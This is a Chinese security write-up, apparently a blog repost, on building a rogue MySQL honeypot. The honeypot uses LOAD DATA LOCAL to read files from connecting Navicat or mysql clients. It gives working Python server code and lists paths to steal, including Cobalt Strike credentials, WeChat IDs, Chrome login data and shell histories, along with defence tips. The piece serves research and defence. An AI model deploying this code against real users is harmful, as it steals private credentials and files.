Mysql蜜罐反制cobalt strike

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
云数据库 RDS MySQL Serverless,价值2615元额度,1个月
简介: Mysql蜜罐反制cobalt strike

1. 反制介绍


1.1 前言


前天在网上看到巨佬abc123分析的一篇文章:

第19篇:关于近期cs服务端被反打的原因分析

在这里分析了cs服务器被人反打的问题,师傅对其中的mysql蜜罐反制做了复现,并且成功实现反制。在这篇文章中,有一个比较特别的地方:只要连到mysql就会读取到本地的任意文件,并不需要一定要mysql连接成功。

这一点比较重要,本文将对mysql蜜罐来做一个学习,其实在早些时候,ling师傅已经发过一篇mysql蜜罐反制的文章了:

https://cloud.tencent.com/developer/article/1856248

但是网上很多文章都是基于Navicat来连接反制的,本文将对其进行一一复现学习。

本文内容较多,后期我也会录制视频来讲解下。


1.2 反制思路


MySQL服务端可以利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payloadLoad data infileMySQL的一个高效导入数据的方法,它的速度非常快。是MySQL里一款强大的数据导入工具。网上有很多文章分析,mysql蜜罐反制是可以读取到本地的任意文件的,比如:微信idChrome历史记录等。


2. mysql连接分析


先不着急对反制进行学习,在这里先对mysql进行通讯的过程进行学习。


2.1 环境准备


云服务器vps上使用phpstudy开启mysql,并且将其设置为支持外联。

use mysql; (加载数据库)
grant all privileges on *.* to root@'%' identified by '你的密码'; (修改登录主机 % 为任意主机)
flush privileges;  (刷新权限)

在本地连接一下试试:

1*.1*9.**.*5

账号:root

密码:***********

在这里使用命令行访问的同时打开Wireshark

到此,分析一下流量。


2.2 mysql登录认证分析


当前是一个登录的过程:

首先是Greeting包,返回了服务端的Version等信息。

第二阶段是用户登录,当前可以看到用户名和密码hash值:

认证成功:

如果是账号或者密码错误的时候:

当我们发送一个查询指令的时候:

但是Navicat登录认证和以上的稍微有一些不同,在这里以Windows试用版的Navicat为例分析下。


3. Navicat登录认证分析


本文以Navicat16 试用版为例进行分析,登录流程与上述分析相差不多,在登录认证成功之后多了一个查询的操作:

SET NAMES utf8mb4SET

问题就出在这个位置,下面结合mysql特性和Navicat特性来学习。


3.1 mysql特性


MySQL服务端可以利用 LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload

load data infile语句从一个文本文件中以很高的速度读入一个表中。

首先在本地使用phpstudy开启数据库,并且使用Navicat进行连接:

在这里使用命令查询Load data infile命令是否开启:

show global variables like'local_infile';

当前可以看到在phpstudy中该功能是默认开启的,如果没有开启的话,可以使用以下命令开启:

set global local_infile=1;

然后新建一个表为test1,在本地执行以下命令:

load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.test1 fields terminated by '\n';

执行之后,刷新test1的表:

此时写入成功。


3.2 Navicat通讯分析


Navicat建立一个新的mysql连接中,一共产生了如下的流量:

在这里和最开始上面的mysql认证分析相差无异,在这里继续模拟一下load data infile的功能,看下这个流量有何不同。以下过程均开启wireshark分析流量:

远程数据库新建一个表2

直接执行一下上面的那个命令,记得修改下表名为test2

load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.test2 fields terminated by '\n';

此时执行成功:

刷新一下表之后,数据写入成功,注意:在这里加载的是客户端的本地文件数据,写入到远程的服务端的数据库中。

在这个过程里面因为流量很杂,所以我们将test2的表新建之后,删除其中字段的值,将链接断开,只抓取mysql登录之后,请求文件的操作,整个流量过滤一下。

在整个过滤的数据中,找到了请求读取文件的语句:

8d5ca3a6ed4ce94729b30d6afd55bace.png

重点看一下应答:

将当前的信息分为4个部分:

在这个图中:

  • • 第一个位置00 00 01指的是数据包的序号
  • • 第二个位置fb是包的类型
  • • 第三个位置是从fb开始到最后,为文件名
  • • 第四个位置为从fb开始到最后的文件名长度,为16进制的,十六进制的26转化为十进制为38

解码情况如下:

https://www.bejson.com/convert/ox2str/

然后读取文件内容到指定位置:

Navicat连接mysql的过程中可以看到,首先需要建立一个连接,然后再发送自动发送SET NAMES utf8mb4 ,最后构造Response TABULAR包的payload来返回给客户端,然后请求下载客户端的文件。当然,在这个过程中,是人为的请求将本地的文件上传到远程服务器上的,具体流程可以见下图:

图片来源:溯源反制之MySQL蜜罐研究


4. Navicat反制的坑


通过以上流程可以知道,如果是针对数据库管理软件Navicat,并且开启了load data infile功能,理论上来说,就可以进行反制,在这里借用师傅在以下文章中的代码:

溯源反制之MySQL蜜罐研究

使用socket模块来模拟一个mysql认证的流程:

import socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)
while True:
    # 建立客户端连接
    clientsocket,addr = serversocket.accept()      
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    clientsocket.sendall(version_text)
    try:
        # 客户端请求信息
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    clientsocket.sendall(verification)
    try:
        # SET NAMES utf8mb4
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response TABULAR
    evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
    clientsocket.sendall(evil_response)
    # file_text
    print(clientsocket.recv(9999))
    clientsocket.close()

在本地运行之后,使用ssh工具去登录:

此时显示mysql登录成功。如果使用Navicat来连接的话:

854aab9ba96271fb94331e21ec53217d.png

这里因为Navicat本身连接之后的操作要比命令行连接要多,所以这里显示失败也是正常的。可以将代码修改修改即可满足。在满足Navicat连接mysql的条件之后,可以知道只需要服务器端来发送一个payload就可以获取主机的文件了。理论上来说,可以获取的文件类型非常的多,甚至是非常敏感的文件,在这里一一学习下。

我看过非常多的mysql反制文章,基本上每一个师傅都顺利拿到了微信id等敏感信息,但是我在复现的时候发现,我没有一次是能成功的,最后发现了问题:

我在复现的时候使用的是Navicat绿色版,打开即用,不需要安装,问题也就出在这,如果想要反制成功的话,必须一定需要安装版的Navicat!!!

错误示范:


5. Navicat反制


5.1 反制条件准备


环境准备:

Navicat12试用版

攻击机:linux

靶机:Windows server 2012Windows10

所需要的条件:正常安装版本的Navicat,不能使用绿色版(建议使用正版,版权意识从你我做起)

Navicat本身不需要做任何的配置


5.2 获取主机名


脚本来源 :

https://cloud.tencent.com/developer/article/1856248

在这里是为了获取Windows下的计算机用户名。

C:\Windows\PFRO.log

脚本修改之后:

# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
    base_path = os.path.abspath('.') + "/log/" + addr[0]
    if not os.path.exists(base_path):
        os.makedirs(base_path)
    evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename)  # 恶意响应包    
    client.sendall(evil_response)
    file_data = client.recv(999999)
    print(file_data)
    with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
        f.write(file_data)
        f.close()
while True:
    # 建立客户端连接
    client, addr = server.accept()
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    client.sendall(version_text)
    try:
        # 客户端请求信息
        client.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    client.sendall(verification)
    try:
        # SET NAMES utf8mb4
        client.recv(9999)
    except Exception as e:
        print(e)
    # Response TABULAR
    filename = "C:\\Windows\\PFRO.log"
    #这里为要读取的文件路径
    get_data(filename, client, addr)
    client.close()

然后启动蜜罐:

配置连接信息,注意,在这里账号密码随意,毕竟mysql服务都是模拟的。

在这里直接点击连接测试:

此时看下蜜罐:

看下log文件,此时获得用户名。


5.3 获取微信id


在上面获取到主机用户名之后,就可以直接获取微信id,如果微信默认安装的话,在这里的路径就是:

C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.data

现在已经知道了用户名,所以文件名称为:

C:\Users\Administrator\Documents\WeChat Files\All Users\config\config.data

在这里因为靶机上没有这个数据,所以伪造一下,试试:

然后在靶机上连接试试,连接之后就会显示当前的微信id:


5.4 cobalt strike反制


在本年hvv中,很多师傅的cs被反制,其实这个反制的原理非常简单,cobalt strike在启动时,用户端会默认生成一个隐藏的文件:.aggressor.prop,这个文件会在当前用户目录下:

比如当前的用户是Administrator,那目录就是:

C:\Users\Administrator\.aggressor.prop

.aggressor.prop文件里面详细记录了cs连接的账号、密码、端口、插件地址等。

在这里试试:

直接运行,等结果:

在这里获取到你的cs账号密码,轻松反制:


5.5 Chrome账号和历史记录


在这里看到当前反制可以理解为一个ssrf了,可以下载电脑中的大部分文件,具体的有:

chrome的login data,虽然无法解密出密码,但是还是可以获取到对方的一些账号的
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/Login Data’
chrome的历史记录
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/History’

参考:https://www.anquanke.com/post/id/215696


6. 反制mac


其实mac也是可以反制的

溯源反制-MYSQL蜜罐


6.1 mac中的用户ID


mac中我们通过通过读取系统日志的方式获取用户ID

/var/log/system.log


6.2 mac中的微信id


/Users/{用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data


6.3 mac中的history


/Users/{用户名}/.bash_history
/Users/{用户名}/.zsh_history



7. Windows下的mysql命令行反制


以上mysql连接数据库中,均是使用Navicat这个工具来做的,那现在进行思考:

如果对方不适用Navicat,直接使用命令行能否达到反制的效果呢?

在这里以Windows下的mysql来测试,获取的文件为.aggressor.prop

使用命令:

mysql -h **.*.7*.* -u root -p

此时mysql显示连接成功:

在这里依旧能够获得cs的连接信息:

流量:


8. 防护方法


网上有很多这样的文章,下面这个师傅写的很详细了:

浅谈Mysql蜜罐识别

我认为最简单的方法:

  1. 1. 使用开源数据库,比如DBeaver
  2. 2. 使用Navicat的免安装版本(注意版权问题,支持正版)

当然,现在还有一些问题,因为时间的问题,我没有细细学习,比如对于linux下的mysql命令行是否能够进行反制?

等以后有时间的话,再做详细的探索吧,感谢各位师傅的精彩文章。

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1天前
|
云安全 安全 网络协议
安全研究所 | 伪装搜狗输入法的木马分析
近年来,黑灰产业的犯罪团伙数量急剧上升,特别是在与办公软件相关领域。这些团伙主要针对国内企业用户,通过伪装成合法的办公软件进行精心设计的诈骗和诱导行为,其主要目的是欺骗企业员工下载并激活木马病毒,以此来窃取公司资金或获取企业敏感文件。
|
2月前
|
安全 数据安全/隐私保护 Windows
无远不至的掌控力:探索Windows Server 2019的远程访问绝招
无远不至的掌控力:探索Windows Server 2019的远程访问绝招
|
8月前
|
SQL Shell 数据库
MSSQL绕过微软杀毒提权案例
MSSQL绕过微软杀毒提权案例
135 0
|
4月前
|
安全 关系型数据库 MySQL
应急加固初试(windows sever 2008)
应急加固初试(windows sever 2008)
42 1
|
5月前
|
前端开发 Docker 容器
基于xinetd部署pwn题(百分百搭成并且可以nc靶场地址)
基于xinetd部署pwn题(百分百搭成并且可以nc靶场地址)
82 1
|
云安全 安全 Oracle
预警| WebLogic Server再曝高风险远程命令执行0day漏洞,阿里云WAF支持免费应急服务
此次发现的WebLogic CVE-2019-2725补丁绕过的0day漏洞曾经因为使用HTTP协议,而非T3协议,被黑客利用进行大规模的挖矿等行为。WebLogic 10.X和WebLogic 12.1.3两个版本均受到影响。
2023 0
|
安全 Oracle 关系型数据库
预警| WebLogic Server曝高风险远程命令执行0-day漏洞,阿里云WAF支持免费应急服务
WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,被广泛应用于保险、证券、银行等金融领域。
2543 0
|
SQL 安全 Shell
护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)
“护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。
3940 0